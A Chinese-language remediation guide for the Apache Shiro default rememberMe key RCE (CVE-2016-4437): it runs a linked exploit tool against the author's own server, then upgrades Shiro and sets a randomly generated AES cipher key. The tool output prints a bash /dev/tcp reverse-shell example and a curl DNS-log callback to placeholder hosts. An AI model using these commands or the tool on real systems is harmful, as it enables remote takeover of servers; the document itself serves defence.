Java项目中修复Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)详细说明

1.漏洞说明


1.1阿里云漏洞短信内容




1.2阿里云漏洞详细报告






2.详细修复步骤


2.1下载漏洞验证工具


漏洞验证工具:https://github.com/wyzxxz/shiro_rce,或者从http://www.zrscsoft.com/sitepic/12120.html中下载

下载的shiro_tool.jar文件,建设保存在D:\download目录,即



根据阿里云漏洞报告,

执行D:\work\jdk1.8.0\bin\java.exe -jar shiro_tool.jar http://{您的IP地址}命令,

具体如下:

D:\download>D:\work\jdk1.8.0\bin\java.exe -jar shiro_tool.jar http://{您的IP地址}
[-] target: http://{您的IP地址}
[-] target is use shiro
[-] start guess shiro key...
[-] use shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check CommonsBeanutils1
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check Groovy1
[-] check JSON1
[-] check Spring1
[-] check Spring2
[-] check Jdk7u21
[-] check JRMPClient
[-] check ROME
[-] check Clojure
[*] find: CommonsCollections10 can be use
[*] find: JRMPClient can be use
0: CommonsCollections10
1: JRMPClient
[-] please enter the number(0-1)
> 0
[-] use gadget: CommonsCollections10
[*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1 , command example: curl dnslog.xxx.com
[*] if need base64 command, input should startwith bash=/powershell=/python=/perl=
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] quit

D:\download>


3.Java项目修改


3.1修改前注意事项


shiro需要升级到1.7.0

shiro1.7.0的spring相关jar要求在4.0版本以上

spring4.0以上版本要求jdk1.8.0以上

3.2Jar包准备


shiro1.7.0的jar如下:

shiro-core-1.7.0.jar

shiro-ehcache-1.7.0.jar

shiro-spring-1.7.0.jar

shiro-web-1.7.0.jar

spring相关jar要求在4.0版本以上,这里建设更新到spring-5.2.10.RELEASE版本,

spring-5.2.10.RELEASE版本相关的jar,请参考https://blog.csdn.net/jlq_diligence/article/details/109771710博客,自行下载

我这边需要的jar大致如下,不同的项目有所不同



3.3增加一个自定义秘钥代码


参考官方的:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AbstractSymmetricCipherService;

import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import java.security.Key;
import java.security.NoSuchAlgorithmException;

/**
 * shiro 秘钥生成器
 *
 * @author admin shiro有自己的随机生成秘钥的方法 秘钥生成器
 *
 *
 */
public class MySymmetricCipherService extends AbstractSymmetricCipherService {



    protected MySymmetricCipherService(String algorithmName) {
        super(algorithmName);
// TODO Auto-generated constructor stub
    }

    public static byte[] generateNewKeyFromSuper() {
        KeyGenerator kg;
        try {
            kg = KeyGenerator.getInstance("AES");
        } catch (NoSuchAlgorithmException var5) {
            String msg = "Unable to acquire AES algorithm. This is required to function.";
            throw new IllegalStateException(msg, var5);
        }

        kg.init(128);
        SecretKey key = kg.generateKey();
        byte[] encoded = key.getEncoded();
        return encoded;
    }



    /**
     * 使用shiro官方的生成
     * org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
     * @return
     */
    public static byte[] getCipherKey() {
        MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
        Key gKey = mySymmetricCipherService.generateNewKey();
        return gKey.getEncoded();
    }

    public static void main(String[] args) {
        MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
        Key gKey = mySymmetricCipherService.generateNewKey();
        System.out.println("key: " + gKey.getEncoded());
        System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded()));

        byte[] decodeValue = Base64.decode("t0EWNQWKMXYzKTDSQpNNfg==");
        System.out.println("decodeValue: " + decodeValue);
    }
}


3.4修改shiro配置


例如shiro配置文件为spring-shiro.xml,不同项目,文件名有所不同,修改的位置,大致如下

<!-- 定义Shiro安全管理配置 -->
    <bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
        <property name="realm" ref="shiroDbRealm" />
        <property name="cacheManager" ref="cacheManager" />
        <!-- 加入rememberMe的配置管理 -->
        <property name="rememberMeManager" ref="rememberMeManager" />
    </bean>


    <!-- rememberMe管理器   -->
    <bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
        <property name="cipherKey" value="#{T(com.**.realm.MySymmetricCipherService).getCipherKey()}" />
        <property name="cookie" ref="rememberMeCookie" />
    </bean>

    <!-- remenberMe配置 -->
    <bean id="rememberMeCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
        <constructor-arg value="rememberMe" />
        <property name="httpOnly" value="true" />
        <!-- 默认记住7天(单位:秒) -->
        <property name="maxAge" value="604800" />
    </bean>


3.5修复后漏洞检测结果